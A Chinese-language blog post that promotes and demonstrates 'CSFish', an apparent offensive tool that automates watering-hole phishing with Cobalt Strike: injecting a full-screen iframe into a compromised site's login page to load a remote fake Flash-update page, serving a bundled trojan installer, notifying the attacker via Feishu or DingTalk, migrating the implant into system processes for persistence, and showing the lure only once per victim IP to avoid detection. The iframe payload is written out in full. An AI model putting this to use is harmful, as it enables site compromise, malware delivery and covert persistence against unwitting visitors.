CSFish—实现水坑钓鱼自动收杆&CS上线提醒&自动权限维持

0x01 前言

0x02 工具介绍

CSFish可以实现自动收杆+上线通知+权限维持，比如当在目标网站埋下水坑后，A用户访问此业务网站触发水坑，访问了钓鱼网站，下载木马并执行上线后，CS会第一时间发送上线通知到飞书或者钉钉，同时会自动进行进程迁移到系统进程，以达到木马隐蔽，权限维持目的，且当A用户再次访问此业务网站时，则不会再触发访问到钓鱼网站，但是B用户仍然可以触发访问到钓鱼网站，这样水坑钓鱼攻击则不易被识破，从而钓到更多的鱼。

CSFish功能实现的思维导图如下：

备注：说明一下，为什么我会在此项目加入比较内网IP的原因，因为如果是已经突破进入了内网环境的情况下，要进行内网横向，假设如果拿下了一个内网的PHP环境的业务网站服务器，那么可以把这套项目迁移到这个内网服务器的web目录下部署水坑，此时如果不比较内网IP地址，则无法收杆，因为此时fish.php获取到的访问IP一定是一个内网IP。

0x03 工具演示

1、假设此处我通过漏洞或者getshell获得了修改前端文件的权限，我在登录页面
login.html中嵌入一个iframe标签，使远程服务器的html（此处我的钓鱼文件是部署在云服务器的）能远程加载到业务网站的登录页面。

<iframe src="http://xxxx/index.html" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>

2、当用户访问业务网站登录页面时，则会访问到钓鱼页面，此处钓鱼页面用的是flash模版，效果如下，点击立即升级(注意：此处使用iframe是让远程服务器的页面加载到业务网站的页面，所以上方地址栏不会显示为你加载的钓鱼页面网址，而是业务网站自身网址，这样会增强访问者的信任)

3、点击立即升级，会跳转到下载页面，点击立即下载，则会下载到通过精心构造的捆绑木马安装包

4、点击安装即可上线CS，上线CS后，CS客户端或者服务端（根据插件CSFish.cna加载位置）则会自动获取becaon信息并把相应信息发送到远程服务器PHP，并实现自动进程迁移，以达到隐蔽木马进程，权限维持的作用。

5、远程服务器的PHP接收到来之CS发送过来的主机信息后，会把主机的出口IP地址和内网地址写入到两个文本文件中保存，用于记录已经上线的主机信息。